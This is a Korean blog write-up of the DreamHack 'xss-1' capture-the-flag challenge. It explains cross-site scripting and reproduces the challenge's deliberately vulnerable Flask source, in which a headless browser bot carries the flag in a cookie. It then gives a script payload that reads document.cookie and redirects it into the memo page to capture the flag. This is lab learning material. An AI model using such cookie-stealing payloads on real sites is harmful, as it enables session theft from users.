-
[DreamHack] xss-12022/Write-Ups 2022. 8. 23. 22:031팀 정유진
Cross Site Scripting(XSS) 란?
게시판, 웹 메일 등에 삽입된 악의적인 스크립트에 의해 페이지가 깨지거나 다른 사용자의 사용을 방해하거나 쿠키 및 기타 개인 정보를 특정 사이트로 전송시키는 공격.
취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다.
취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 한다.
해당 페이지로 이동하면 세 페이지가 나온다.
param에 들어간 값이 페이지에 그대로 적용이 돼서 Alert가 뜨는 페이지
(1이 들어갔디에 1이 뜸)
memo는 flag 에 입력한 값이 성공시 출력되는 페이지
flag는 스크립트를 기입해 공격하는 페이지
전체 코드
#!/usr/bin/python3from flask import Flask, request, render_templatefrom selenium import webdriverimport urllibimport os
app = Flask(__name__)app.secret_key = os.urandom(32)
try:FLAG = open("./flag.txt", "r").read()except:FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):cookie.update({"domain": "127.0.0.1"})try:options = webdriver.ChromeOptions()for _ in ["headless","window-size=1920x1080","disable-gpu","no-sandbox","disable-dev-shm-usage",]:options.add_argument(_)driver = webdriver.Chrome("/chromedriver", options=options)driver.implicitly_wait(3)driver.set_page_load_timeout(3)driver.get("http://127.0.0.1:8000/")driver.add_cookie(cookie)driver.get(url)except Exception as e:driver.quit()# return str(e)return Falsedriver.quit()return True
def check_xss(param, cookie={"name": "name", "value": "value"}):url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"return read_url(url, cookie)
@app.route("/")def index():return render_template("index.html")
@app.route("/vuln")def vuln():param = request.args.get("param", "")return param
@app.route("/flag", methods=["GET", "POST"])def flag():if request.method == "GET":return render_template("flag.html")elif request.method == "POST":param = request.form.get("param")if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")def memo():global memo_texttext = request.args.get("memo", "")memo_text += text + "\n"return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)목표는 서버에서 /memo?memo=<flag>의 형식으로 요청을 보내게 해서 memo_text에 플래그가 들어가도록 만드는 것이다.
param에 <script>document.location.href='/memo?memo=<flag>'</script>의 형식으로 넣으면 <flag>가 memo_text에 들어가게 된다.
flag()에서 check_xss()를 호출할 때 쿠키에 플래그를 넣어서 요청을 보내기 때문에 <script>document.location.href='/memo?memo='+document.cookie</script>를 넣으면 된다.
https://velog.io/@h0meb0dy/DreamHack-xss-1
flag에 스크립트를 넣은 후 페이지 결과 확인하면
플래그가 뜬다.
정보
https://fascination-euna.tistory.com/entry/Dreamhack-xss-1?category=1074572
'2022 > Write-Ups' 카테고리의 다른 글
[ctf-d] 이 파일에서 플래그를 찾아라! (0) 2022.08.23 [ctf-d] Three Thieves Threw Trumpets Through Trees (0) 2022.08.23 [ctf-d] 모두 비밀번호를 txt파일… (0) 2022.08.23 [ctf-d] 브리타니아의 원더랜드 (0) 2022.08.23 [ctf-d] Find Key(Image) (0) 2022.08.23